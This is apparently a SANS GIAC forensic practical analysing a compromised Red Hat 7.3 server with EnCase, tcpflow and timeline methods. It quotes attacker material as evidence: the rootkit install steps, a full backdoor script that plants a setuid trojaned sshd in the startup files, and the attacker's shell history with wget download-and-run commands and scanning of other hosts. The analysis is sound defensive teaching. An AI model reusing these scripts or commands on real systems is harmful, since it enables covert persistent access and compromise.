See Table 2 for the exact syntax used for each command. The LD_LIBRARY_PATH variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

---

compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site www.snort.org.

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from www.tcpdump.org.

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from www.circlemud.org/~jelson/software/tcpflow.

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. (www.redhat.com).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

**File system**

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

```
Nfsd           sshd_config
Popauth        minilogd
/tmp/.s        services
```
Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

Table 2. install.log output shows "PS, PSTREE and LS DIR VDIR" failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one's that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -i au” is used, (the “-i” removes attributes from the file, “a” => immutable, “u” => append only and “u” => undeletable”). The files the command was used on are listed below;

```
/etc/rc.d/init.d/sshd   /etc/rc.d/init.d/syslog
/etc/rc.d/init.d/functions /usr/local/sbin/sshd
/usr/sbin/sshd /bin/ps
```

3) Stop syslog with “/etc/rc.d/init.d/syslog stop”

4) Kill the rpc portmapper

5) Remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

   | 2 sl | 2 sl2 | 2 st | 2 v |
   | 2 foo | 3 scan | 3 ping | 3 tcpd |
   | 3 nfsd | 3 lpd | 3 r00t | 2 x2 |
   | 3 strobe | 2 sc | 3 luckstatdx | 2 /dev/killall |
   | 2 hds | 3 /usr/sbin/nfspd | 3 mass | 3 o |
   | 3 vuln | 3 weit |

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

   3 18   4 18   3 6667   4 6667   3 1
   4 1

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

   .s   .x   logs   sense   tcp.log
   mps   mls   killer   mtop   mpstree
   ttyop   ttyof   ttyoa   ttyos   wipe
   clean   sense   nfbsd   hds   hdsl
   v   sl2   sl   foo   st
   r00t

9) Copy the .1logz file to /dev/ttyos. The .1logz file is a list of IP addresses, domain names and log file names shown below:

   XXX.hypermart.net   XXX.XXX.0.159   syslog
   klogd   net-pf-10   XXX.97.33.*

10) Touch -acmr ( a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.

   /usr/bin/du du   /usr/bin/find find   /usr/bin/killall killall
   /bin/ps ps   /bin/netstat netstat   /usr/bin/pstree pstree
   /bin/ls ls   /usr/bin/top top   /usr/bin/vdir vdir
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

```
ps => /bin/ps  
pstree => /usr/bin/pstree  
top => /usr/bin/top  
ls => /bin/ls  
kilall => /usr/bin/kilall  
ls => /usr/bin/dir  
du => /usr/bin/du  
find => /usr/bin/find  
netstat => /bin/netstat
```

12) The nfsdi script, located in the nfsd directory, is called to install the nfsd (sshd backdoor) on port 18:

The nfsdi script does the following:

- **a)** `p.sshd` is copied to `/usr/sbin/nfsd`
- **b)** a `chmod +s` and `chattr +iau` done on `/usr/sbin/nfsd`
- **c)** `sshd_config` copied to `/sbin/sshd_config`, `chattr +iau` is done on the file.
- **d)** host key (`xxxxh_h`) and random key (`xxh_r`) are copied to `/sbin`.
- **e)** `nfsd (sshd)` is run
- **f)** `charttr -iau` run on `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions`.
- **g)** The line “/usr/sbin/nfsd -f /sbin/sshd_config” is appended to the end of `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions` and `chattr +iau` is run.

13) Rootkit utilities are installed:

```
clean => /usr/bin/clean  
sense => /usr/bin/sense  
dos/sl2 => /usr/bin/dos/sl2  
dos/foo => /usr/bin/dos/foo

dos/st => /usr/bin/dos/st  
dos/v => /usr/bin/dos/v
```

14) Linsniffer installed storing logs in `/dev/logs` “linsniffer /usr/bin/lpd”.

15) Setting up crontab “/usr/bin/crontab cron-root”.

16) Ports Open check using command “/usr/sbin/lsof | grep LISTEN”.

17) Checking for “Other RooTKITs”.

18) starting syslog with “/etc/rc.d/init.d/syslog start”

19) Reviewing logs, cron, maillog with echo of;

```
/var/log/messages  
/var/log/boot.log  
/var/log/cron  
/var/log/secure  
/var/log/maillog
```

20) Using `chattr +iau` on

```
/etc/rc.d/init.d/syslog  
/etc/rc.d/init.d/functions  
/bin/ps  
/bin/netstat  
/bin/ls  
/usr/bin/find  
/usr/bin/pstree  
/usr/bin/kilall
```
TCPFLOW output showed the uncompressing of the s.tar.gz files. When the file system /tmp/.s was examined three of the trojan binaries were not present, they were “ls, ps and vdir”. Table 3 shows a comparison from the TCPFLOW file list and the files in the /tmp/.s directory:

<table>
<thead>
<tr>
<th>TCPFLOW log</th>
<th>Files in /tmp</th>
<th>Last access</th>
<th>Notes - (All virus infected with Linux.RST.B)</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s/</td>
<td>/tmp/.s</td>
<td>03:25:20PM</td>
<td>Hidden directory</td>
</tr>
<tr>
<td>.s/du</td>
<td>/tmp/.s/du</td>
<td>03:25:20PM</td>
<td>Trojan du (disk usage command) references ttyof. The install script copies .1file to ttyof.</td>
</tr>
<tr>
<td>.s/find</td>
<td>/tmp/.s/find</td>
<td>03:25:20PM</td>
<td>Trojan find command references ttyof. The install script copies .1file to ttyof.</td>
</tr>
<tr>
<td>.s/killall</td>
<td>/tmp/.s/killall</td>
<td>03:25:20PM</td>
<td>Trojan killall command used to kill processes. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/linsniffer</td>
<td>/tmp/.s/linsniffer</td>
<td>03:25:20PM</td>
<td>Trojan linsniffer program.</td>
</tr>
<tr>
<td>.s/ls - not present-</td>
<td>/tmp/.s/ls</td>
<td>03:25:20PM</td>
<td>list command.</td>
</tr>
<tr>
<td>.s/netstat - not present-</td>
<td>/tmp/.s/netstat</td>
<td>03:25:20PM</td>
<td>Trojan netsat, network status command references ttyoa. The install script copies .1addr to ttyoa.</td>
</tr>
<tr>
<td>.s/ps - not present-</td>
<td>/tmp/.s/ps</td>
<td>03:25:20PM</td>
<td>Process status command References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/pstree - not present-</td>
<td>/tmp/.s/pstree</td>
<td>03:25:20PM</td>
<td>Process tree list. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/vdir</td>
<td>/tmp/.s/vdir</td>
<td>03:25:20PM</td>
<td>Lists directory contents. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/top</td>
<td>/tmp/.s/top</td>
<td>03:25:20PM</td>
<td>Show top CPU Processes. References ttyop. The install script copies .1proc to ttyop.</td>
</tr>
<tr>
<td>.s/.laddr</td>
<td>/tmp/.s/.laddr</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyoa. Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.lfile</td>
<td>/tmp/.s/.lfile</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyof. Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.llogz</td>
<td>/tmp/.s/.llogz</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttynos. Contains a list of that trojan binaries uses. Binaries using this reference are netstat.</td>
</tr>
<tr>
<td>.s/.lproc</td>
<td>/tmp/.s/.lproc</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyop. Contains a list of that trojan binaries uses. Binaries using this reference are top, pstree, killall.</td>
</tr>
<tr>
<td>.s/clean</td>
<td>/tmp/.s/clean</td>
<td>03:25:20PM</td>
<td>Log file cleanup script.</td>
</tr>
</tbody>
</table>
| .s/nfsd/sshd_config | d_config | 03:25:21PM | HostKey file for nfsd (sshd) referenced in configuration file. EnCase output shows key as a private key belonging to.
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “rootkit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The inittab file is the configuration file used by ‘init’. The inittab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the root kit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify file changes a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped (|) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \*”, do not parse the /proc directory structure “/proc’ -prune -o”, only look at files “-type f” and run an md5sum on the file “-exec md5sum () \;”.

```bash
#find / -name \* -path ‘/proc’ -prune -o -type f -exec md5sum () \;
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space

---

delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix ‘comm’ command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt | more
```

The comm command with the -3 switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2ca7890118d41731001ed09 9962
/etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command:

```
. .
done
```

```
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned functions startup script – nfsd (ssh on port 18) added

```
/etc/rc.d/init.d/syslog bf2c05fb64dc8c193dfbc21052f5e6e5 1369
/etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command.

```
. .
exit $?;
```

```
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned syslog startup script – nfsd (ssd on port 18) added

```
/etc/rc.d/rc.sysinit 48fa67a16b96d8d1768a5f9d8421ee4 22379
/etc/rc.d/rc.sysinit ee965268d25b94ed0ffe16d65be890 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) weit command.

Looking at the end of the /etc/rc.d/rc.sysinit script we find the weit command:

```
/sbin/getkey i && touch /var/run/confirm
fi
weit
```

Trojaned rc.sysinit startup script – wait changed to weit

The “last written” time from each file showed the /etc/rc.d/rc.sysinit script being modified at 3:22:09pm and both the /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions scripts modified at 3:25:21pm. Figure 16 is a screen shot of
the /etc/rc.d folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under /etc/rc.d refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

![Figure 16. Modified startup files](image)

The back doors found on the system were:

- The nfsd daemon (trojaned sshd) running on process ID's 19810 and 19811
- The weit program run from the rc.sysinit script in the /etc/rc.d directory that spawned the popauth program that sets up a listener on UDP port 3049.
- The IRC server running on process ID's 19936 and 19941.

Looking at the install script in /tmp/.s/install we see

```bash
  cd nfsd;./nfsdi
```

The nfsdi script modifies the syslog and functions scripts and installs the trojan, virus infected, nfsd.

```bash
#!/bin/sh
```

© SANS Institute 2004,
As part of GIAC practical repository. Author retains full rights.
if [ -x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [ -f /sbin/sshd_config ]; then
    chattr -iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi

cp -f xxh_h /sbin

cp -f xxh_r /sbin

/usr/sbin/nfsd -f /sbin/sshd_config
chattr -iau /etc/rc.d/init.d/syslog
chattr -iau /etc/rc.d/init.d/functions

```
echo "/usr/sbin/nfsd -f /sbin/sshd_config" >>/etc/rc.d/init.d/syslog
```
```
echo "/usr/sbin/nfsd -f /sbin/sshd_config" >>/etc/rc.d/init.d/functions
```

chattr +iau /etc/rc.d/init.d/syslog
chattr +iau /etc/rc.d/init.d/functions

```
root 19810 0  0.1 1832 246  ?  T  Jun-29 0:00 /usr/sbin/nfsd -f /sbin/sshd_config
```

```
root 19811 0  0.3 1840 444  ?  S  Jun-29 0:02 /usr/sbin/nfsd -f /sbin/sshd_config
```

The IRC bot Software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz, tar-gzipped file (wget XXX.XXX.com/eladoht/bot.tgz). The file was unpacked (tar –zxvf bot.tgz), the file was removed (rm –rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

```
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf
bot.tgz;cd .X11-pipe;chmod +x inetd/services;inetd/services
```

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn't complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hit in the /dev/ttyof file.
- 1 hit in the /tmp/.s/linsniffer binary file.
- 1 hit in the /tmp/.s/.1file
- 1 hit in the /root/.bash_history file.
- 1 hit in the /swap space (swap space Is a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:2206PM on 06/29/03.

Once the nsfd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

```
unset HISTFILES
cd /tmp
ls -al
rm -rf .s
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
 ./samba -d 0 -S 192.168.2.*
 ./samba -d 0 -S XXX.XXX.5.*
 nmap
 nmap XXX.XXX.42.58
 ./sys XXX.XXX.42.58
 ./sys XXX.XXX.42.58
 whereis tcp.log
 netstat -a
 netstat
 ./samba -d 0 -S XXX.XXX.42.*
 nmap XXX.XXX.49.137
 ./sys XXX.XXX.49.137
```
The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid an dd image was made of the evidence drive (Tag # 02) using Fastbloc. The command used to create the dd image was:

```
dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.

Table 4. HISTFILE output

```
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./samba -d 0 -S XXX.XXX.54.*
nmap XXX.XXX.59.235
./sys XXX.XXX.61.126
./sys XXX.XXX.61.126
./sys XXX.XXX.59.235
./samba -d 0 -S XXX.XXX.61.*
nmap XXX.XXX.65.171
./sys XXX.XXX.65.171
./samba -d 0 -S XXX.XXX.65.*
nmap XXX.XXX.84.19
./sys XXX.XXX.84.19
./sys XXX.XXX.84.19
./sys XXX.XXX.84.19
nmap XXX.XXX.84.30
./sys XXX.XXX.84.30
./sys XXX.XXX.84.30
nmap XXX.XXX.84.31
./sys XXX.XXX.84.31
./sys XXX.XXX.84.31
./sys XXX.XXX.84.31
nmap XXX.XXX.84.3
nmap XXX.XXX.84.35
./sys XXX.XXX.84.35
./sys XXX.XXX.84.35
./sys XXX.XXX.84.35
./samba -d 0 -S XXX.XXX.84.*
```

© SANS Institute 2004, as part of GIAC practical repository. Author retains full rights.
• “sync” => if an error occurs use zeros in the output file. 

The MD5 checksum was verified against the MD5 checksum from EnCase. See Figure 17.

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is;

   ```
   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f
   ```

   The “/mnt/linux73” tells find where to start. The “-name “.*” -type d” tells find to look for directories that begin with a “.” (the “.” in unix hides the directory or file). The last command line switch tells find to print out the file date and time information.

<table>
<thead>
<tr>
<th>Directory of interest are listed below:</th>
</tr>
</thead>
<tbody>
<tr>
<td>.</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:41:56 PM CST 1 /mnt/linux73/tmp/.font-unix</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 04:00:24 PM CST 1 /mnt/linux73/tmp/.font- unix/.X11-pipe</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:10 PM CST 1 /mnt/linux73/tmp/.s</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:08 PM CST 1 /mnt/linux73/.x</td>
</tr>
</tbody>
</table>

---

2. Locating the setuid files:

find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg () \;

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -4000” tells find to look for a regular file with the setuid bit set. The “-exec ls -aslg ()\;” command line switch tells find to print out the file details.

3. Locating setgid files:

find /mnt/linux73 -type f -a -perm -2000 -exec ls -aslg () \;

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -2000” tells find to look for a regular file with the setgid bit set. The “-exec ls -aslg ()\;” command line switch tells find to print out the file details.
The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

2.6. Timeline Analysis

Time line analysis was done using a combination of EnCase, mac_robber and the unix find command. The Modified, Access and Change times are selectable within EnCase. The timeline export within EnCase produced a file too large to import into Excel and sort. EnCase allows for easy sorting on any of the three times or combinations of the three. To provide a sortable file, the dd image was mounted and both mac_robber and find commands were used to produce timeline files. The following command was used to create a ctime (change time) timeline file:

```
find /mnt/linux73/root -printf "%Ct%h/%f" | sort > outputfile.txt
```

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost+found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

![Figure 18 Time alignment EnCase](image)

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53

1056043853 /mnt/linux73/lost+found

OS install complete Jun 20 2003 09:31:35 => Adjusted to local 02:31:35

1056097895 /mnt/linux73/root/install.log
. .
1056882120 /mnt/linux73/var/spool/anacron/cron.weekly

COMPROMISE STARTS HERE -> ------------------------------------------------

Date is Jun 29, 2003 22:11:59 => Adjusted to local 15:11:59

1056921119 /mnt/linux73/tmp/.s/.laddr
1056921119 /mnt/linux73/tmp/.s/.lfile
1056921119 /mnt/linux73/tmp/.s/.llogz
1056921119 /mnt/linux73/tmp/.s/.lproc
1056921119 /mnt/linux73/tmp/.s/mpstree
1056921119 /mnt/linux73/tmp/.s/nfsd/nfsdi
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd_config
1056921119 /mnt/linux73/tmp/.s/nfsd/xxh_h
1056921119 /mnt/linux73/tmp/.s/nfsd/xxh_r
1056921119 /mnt/linux73/tmp/.s/p.ssh
1056921119 /mnt/linux73/tmp/.s/sshd/init.sshd
1056921119 /mnt/linux73/tmp/.s/sshd/sshd_config
1056921119 /mnt/linux73/tmp/.s/sshd/sshd-install
1056921119 /mnt/linux73/tmp/.s/sshd/ssh_host_key

Date is Jun 29, 2003 22:20:00 => Adjusted to local 15:22:00

1056921600 /mnt/linux73/var/log/cron

Date is Jun 29, 2003 22:22:04 => Adjusted to local 15:22:04

1056921724 /mnt/linux73/bin/ps
1056921724 /mnt/linux73/etc/rc.d/init.d/sshd
1056921724 /mnt/linux73/usr/sbin/sshd

Date is Jun 29, 2003 22:22:05 => Adjusted to local 15:22:05

1056921725 /mnt/linux73/var/log/messages

Date is Jun 29, 2003 22:22:06 => Adjusted to local 15:22:06

1056921726 /mnt/linux73/dev/log

Date is Jun 29, 2003 22:22:07 => Adjusted to local 15:22:07

1056921727 /mnt/linux73/dev/ttyoa
1056921727 /mnt/linux73/dev/ttyof
1056921727 /mnt/linux73/dev/ttyop
<table>
<thead>
<tr>
<th>Time</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056921727</td>
<td>/mnt/linux73/dev/ttyos</td>
</tr>
<tr>
<td>1056921727</td>
<td>/mnt/linux73/var/lock/subsys</td>
</tr>
</tbody>
</table>

**Date is Jun 29, 2003 22:22:08 => Adjusted to local 15:22:08**

<table>
<thead>
<tr>
<th>Time</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/</td>
</tr>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/tmp/.s/clean</td>
</tr>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/tmp/.s/install</td>
</tr>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/tmp/.s/sense</td>
</tr>
</tbody>
</table>

The install script from s.tar.gz is running. The install script calls the mpstree script with the line “sh mpstree”, then the mpstree script calls the p.ssh script with the line “/p.ssh”. The “p.ssh” script creates the /x directory with the line “mkdir –p $D”, the $D variable is set to “/x” one line before. The libgc.so library and the popauth executable are placed by the p.ssh script.

<table>
<thead>
<tr>
<th>Time</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/.x</td>
</tr>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/.x/libgc.so</td>
</tr>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/.x/popauth</td>
</tr>
</tbody>
</table>

**Date is Jun 29, 2003 22:22:09 => Adjusted to local 15:22:09**

<table>
<thead>
<tr>
<th>Time</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056921729</td>
<td>/mnt/linux73/etc/rc.d</td>
</tr>
</tbody>
</table>

The mpstree script modifies the /etc/rc.d/rc.sysinit script and runs the weit executable. The weit executable calls the popauth executable. Popauth listens on https, http, and UDP 3049. Popauth and other binaries are infected with the Linux.Jac.8759 virus. See EnCase report on virus infected files. 739 files, including rc.sysint have ctimes (change time) of 1056921729.

<table>
<thead>
<tr>
<th>Time</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056921729</td>
<td>/mnt/linux73/etc/rc.d/rc.sysinit</td>
</tr>
<tr>
<td>1056921729</td>
<td>/mnt/linux73/usr/bin/411toppm</td>
</tr>
<tr>
<td></td>
<td>.</td>
</tr>
<tr>
<td></td>
<td>.</td>
</tr>
</tbody>
</table>

**Date is Jun 29, 2003 22:36:49 => Adjusted to local 15:36:49**

<table>
<thead>
<tr>
<th>Time</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056922609</td>
<td>/mnt/linux73/var/log/httpd/error_log</td>
</tr>
</tbody>
</table>

EnCase was used to order the files based on last modified time.
Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had it’s mtime and ctime changed at 16:59:16. One of the commands run during the attacks was ‘netstat’. The ‘netstat’ command was one of the files successfully trojaned. The ‘netstat’ command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and ctime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

```
16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896 <nop,nop.timestamp 120259573 53659921> (DF)
```

### 2.7. Recover Deleted Files

As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![Figure 20. EnCase keyword string input](image)

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```bash
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

- XXX.XXX.119.141.00080-192.168.002.015.01058
- 192.168.002.015.01058-XXX.XXX.119.141.00080

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
2.8. String Search

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the “/var” partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search / keyword search targeting saved time and narrowed the search for the facts.

**Live response**

Keywords of interest
- minilogd
- session_mm_apache0.sem
- weit
- popauth
- nfsd

Paths of interest
- /tmp/.s
- /.x

Files of interest
- /var/log/httpd/access_log
- /var/log/httpd/ssl_request_log
- /var/log/httpd/error_log
- /usr/bin/weit
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /.x/popauth
- /dev/hdx1
- /usr/sbin/nfsd
- /tmp/.s/nfsd
- /sbin/sshd_config

Other items of interest
- Date processes started Jun 29
- Defunct processes
  - weit,
  - chmod +s /usr/sbin/nfsd,
  - chmod
  - mkdir
  - hostname
  - ls

**Log file analysis**

Keywords of interest
- s.tar.gz
- linsniffer
- .addr
Paths of interest
- /tmp/.
- /tmp/.nfsd
- /tmp/.sshd
- /tmp/.font

Files of interest
- r
- .tar.gz
- .pipe/rd
- .pipe/rd/filen
- .pipe/rd/log
- .pipe/rd/proc
- .pipe/rd/hh
- .pipe/rd/hr
- .pipe/rd/nfsd
- .pipe/rd/sshd
- .pipe/rd/sshd/install
- .pipe/rd/sshd/end/config
- .pipe/rd/sshd/end/install

- bot.tar.gz
- samba.tgz

Files of interest
- .file
- .logz
- .proc
- xhh_h
- xhh_r
- nfsdi
- init.sshd
- popauth
- wordt
- /tmp/.s
- /tmp/.s/nfsd
- /tmp/.s/sshd
- /tmp/.font
- /tmp/.font-unix
- /tmp/.font-unix/.X11-pipe
2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, wormlike. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

